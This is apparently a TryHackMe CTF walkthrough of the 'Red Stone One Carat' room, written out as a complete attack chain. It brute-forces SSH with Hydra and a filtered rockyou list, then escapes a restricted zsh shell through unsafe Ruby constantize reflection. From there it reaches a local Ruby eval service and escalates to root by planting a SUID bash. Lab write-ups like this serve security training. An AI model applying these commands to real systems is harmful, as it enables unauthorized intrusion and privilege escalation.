Press enter or click to view image in full size
Introduction
In this TryHackMe Red Stone One Carat challenge, I explored SSH enumeration, restricted shell bypass, and privilege escalation techniques. The challenge begins with a weak-password SSH login, leading to a restricted rzsh
shell with limited command execution. By analyzing the provided Ruby scripts, I leveraged unsafe reflection to run system commands, enumerate local services, and eventually gain root access. This challenge is a practical exercise for anyone looking to strengthen their skills in Linux privilege escalation, restricted shell exploitation, and Ruby/Rails security vulnerabilities.
Initial Reconnaissance
I began the with a quick Nmap scan that revealed only SSH, so I focused my efforts there.
nmap -sV -sC <ip>
Nmap output:
- Open port: 22/tcp —
OpenSSH 7.6p1
(Ubuntu)
With only SSH exposed, I focused on credential discovery rather than web enumeration — next step: brute-forcing SSH using the room hint.
Brute-forcing SSH (hint-guided)
The room provided a useful hint: the password contains "bu"
. I used that hint to filter rockyou.txt
for candidate passwords and then ran a password-guessing attack with Hydra.
First I generated a filtered password list:
grep "bu" /usr/share/wordlists/rockyou.txt > pass.txt
Then I launched Hydra against SSH for the user noraj
:
hydra -l noraj -P pass.txt 10.201.116.83 ssh
Hydra returned a valid credential quickly:
- Username:
noraj
- Password:
cheeseburger
Initial System Access — Restricted Shell
I logged in via SSH using the discovered credentials:
ssh [email protected]
# password: cheeseburger
On login I discovered I was dropped into a restricted zsh (rzsh) environment. Typical commands such as ls
, whoami
, and clear
were unavailable because the PATH was restricted to /home/noraj/bin
and common system binaries were not reachable.
Example interaction showing the restricted shell:
red-stone-one-carat% ls
zsh: command not found: ls
red-stone-one-carat% echo $SHELL
/bin/rzshred-stone-one-carat% echo $PATH
/home/noraj/bin
Because the shell was restricted and the PATH did not include /bin
or /usr/bin
, I had to rely on shell built-ins and creative techniques to inspect the filesystem.
A quick trick I used to list files (since ls
wasn't available) was to use shell globbing:
red-stone-one-carat% echo *
bin user.txt
red-stone-one-carat% echo ./.*
./.cache ./.hint.txt ./.zcompdump.red-stone-one-carat.2446 ./.zshrc
Capturing the User Flag
Even inside the restricted environment, I was able to read the user flag by expanding the file into the shell using a built-in:
red-stone-one-carat% echo "$(<user.txt)"
THM{3a106092635945849a0fbf7bac92409d}
Post-Exploitation & Root Escalation
After capturing the user flag, I focused on post-exploitation and privilege escalation. The room included a .hint.txt
file that suggested examining local services:
red-stone-one-carat% echo ./.*
./.cache ./.hint.txt ./.zcompdump ./.zshrc
Reading the hint:
red-stone-one-carat% echo "$(<.hint.txt)"
Maybe take a look at local services.
Inside /home/noraj/bin
, there were two files: rzsh
and test.rb
. I attempted to check for Ruby, but it wasn’t immediately obvious. Listing the bin directory:
red-stone-one-carat% echo bin/*
bin/rzsh bin/test.rb
Running test.rb
printed its content:
red-stone-one-carat% test.rb
#!/usr/bin/rubyrequire 'rails'
if ARGV.size == 3
klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
puts File.read(__FILE__)
end
The script was short, but the use of constantize
stood out — this Ruby method can be dangerous because it allows transforming a string into a Ruby object, enabling code execution.
Exploiting Unsafe Reflection in Ruby/Rails
The script allows executing a class method with one argument. For example:
- Class:
File
- Method:
read()
- Argument:
/home/noraj/user.txt
This could fetch the user flag. More importantly, I could use it to escape the restricted shell:
- Class:
Kernel
- Method:
exec()
- Argument:
/bin/zsh
Execution:
I first tried to escape the restricted shell using the Ruby script:
red-stone-one-carat% test.rb Kernel exec '/bin/zsh'
getent:6: command not found: grep
compdump:136: command not found: mv
Exporting the PATH directly at the start didn’t work because of restrictions:
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
By running the Ruby command first and then setting the full PATH, I could access system binaries and bypass the rzsh
restrictions, allowing me to continue with further exploitation.
Local Service Enumeration
I tried inspecting local services and found a helpful Ruby script (netstat.rb
) online. I downloaded it to my system and encoded it in Base64:
wget https://gist.githubusercontent.com/kwilczynski/954046/raw/4571a1eed62c4f13d0a2c70c5cf5ebd45e41004e/netstat.rb
cat netstat.rb| base64 -w 0
I then pasted this into the target system. Note that without importing the correct PATH
, it won’t work:
echo 'ISMvdXNyL2Jpbi9lbnYgcnVieQoKUFJPQ19ORVRfVENQID0gJy9wcm9jL25ldC90Y3AnICAjIFRoaXMgc2hvdWxkIGFsd2F5cyBiZSB0aGUgc2FtZSAuLi4KClRDUF9TVEFURVMgPSB7ICcwMCcgPT4gJ1VOS05PV04nLCAgIyBCYWQgc3RhdGUgLi4uIEltcG9zc2libGUgdG8gYWNoaWV2ZSAuLi4KICAgICAgICAgICAgICAgJ0ZGJyA9PiAnVU5LTk9XTicsICAjIEJhZCBzdGF0ZSAuLi4gSW1wb3NzaWJsZSB0byBhY2hpZXZlIC4uLgogICAgICAgICAgICAgICAnMDEnID0+ICdFU1RBQkxJU0hFRCcsCiAgICAgICAgICAgICAgICcwMicgPT4gJ1NZTl9TRU5UJywKICAgICAgICAgICAgICAgJzAzJyA9PiAnU1lOX1JFQ1YnLAogICAgICAgICAgICAgICAnMDQnID0+ICdGSU5fV0FJVDEnLAogICAgICAgICAgICAgICAnMDUnID0+ICdGSU5fV0FJVDInLAogICAgICAgICAgICAgICAnMDYnID0+ICdUSU1FX1dBSVQnLAogICAgICAgICAgICAgICAnMDcnID0+ICdDTE9TRScsCiAgICAgICAgICAgICAgICcwOCcgPT4gJ0NMT1NFX1dBSVQnLAogICAgICAgICAgICAgICAnMDknID0+ICdMQVNUX0FDSycsCiAgICAgICAgICAgICAgICcwQScgPT4gJ0xJU1RFTicsCiAgICAgICAgICAgICAgICcwQicgPT4gJ0NMT1NJTkcnIH0gIyBOb3QgYSB2YWxpZCBzdGF0ZSAuLi4KCmlmICQwID09IF9fRklMRV9fCgogIFNURE9VVC5zeW5jID0gdHJ1ZQogIFNUREVSUi5zeW5jID0gdHJ1ZQoKICBGaWxlLm9wZW4oUFJPQ19ORVRfVENQKS5lYWNoIGRvIHxpfAoKICAgIGkgPSBpLnN0cmlwCgogICAgbmV4dCB1bmxlc3MgaS5tYXRjaCgvXlxkKy8pCgogICAgaSA9IGkuc3BsaXQoJyAnKQoKICAgIGxvY2FsLCByZW1vdGUsIHN0YXRlID0gaS52YWx1ZXNfYXQoMSwgMiwgMykKCiAgICBsb2NhbF9JUCwgbG9jYWxfcG9ydCAgID0gbG9jYWwuc3BsaXQoJzonKS5jb2xsZWN0IHsgfGl8IGkudG9faSgxNikgfQogICAgcmVtb3RlX0lQLCByZW1vdGVfcG9ydCA9IHJlbW90ZS5zcGxpdCgnOicpLmNvbGxlY3QgeyB8aXwgaS50b19pKDE2KSB9CgogICAgY29ubmVjdGlvbl9zdGF0ZSA9IFRDUF9TVEFURVMuZmV0Y2goc3RhdGUpCgogICAgbG9jYWxfSVAgID0gW2xvY2FsX0lQXS5wYWNrKCdOJykudW5wYWNrKCdDNCcpLnJldmVyc2Uuam9pbignLicpCiAgICByZW1vdGVfSVAgPSBbcmVtb3RlX0lQXS5wYWNrKCdOJykudW5wYWNrKCdDNCcpLnJldmVyc2Uuam9pbignLicpCgogICAgICBwdXRzICIje2xvY2FsX0lQfToje2xvY2FsX3BvcnR9ICIgKwogICAgICAgICIje3JlbW90ZV9JUH06I3tyZW1vdGVfcG9ydH0gI3tjb25uZWN0aW9uX3N0YXRlfSIKICBlbmQKCiAgZXhpdCgwKQplbmQ=' | base64 -d > netstat.rb
Running it revealed listening services:
red-stone-one-carat% ruby netstat.rb
127.0.0.53:53 0.0.0.0:0 LISTEN
0.0.0.0:22 0.0.0.0:0 LISTEN
127.0.0.1:31547 0.0.0.0:0 LISTEN
10.10.203.226:22 10.18.88.214:35166 ESTABLISHED
Port 31547
was listening locally, so I connected with Netcat:
red-stone-one-carat% nc 127.0.0.1 31547
$ whoami
undefined local variable or method `whoami' for main:Object
The shell was still restricted, so I needed a SUID bash payload.
Escaping to Root
To escalate privileges, I copied bash
to /tmp
and set the SUID bit:
exec %q!cp /bin/bash /tmp/bash; chmod +s /tmp/bash!
With this payload, I could spawn a root shell:
/tmp/bash -p
Captured the Root Flag.txt
bash-4.4# cat /root/root.txt
THM{58e53d1324eef6265fdb97b08ed9aadf}
Press enter or click to view image in full size
Conclusion
In this Red Stone One Carat TryHackMe challenge, I first gained SSH access using a weak password but landed in a restricted rzsh
shell. By analyzing the Ruby script (test.rb
), I exploited unsafe reflection to execute system commands and bypass the restrictions. Using the Ruby-based netstat.rb
script, I discovered a locally listening port, spawned a secondary shell, and finally escalated to root with a SUID bash payload to capture the root flag.
This challenge provided an excellent hands-on exercise in SSH enumeration, restricted shell bypass, Ruby exploitation, local service enumeration, and privilege escalation — all while navigating limited tools and restrictions.
References:
Thanks to both authors for their helpful walkthroughs!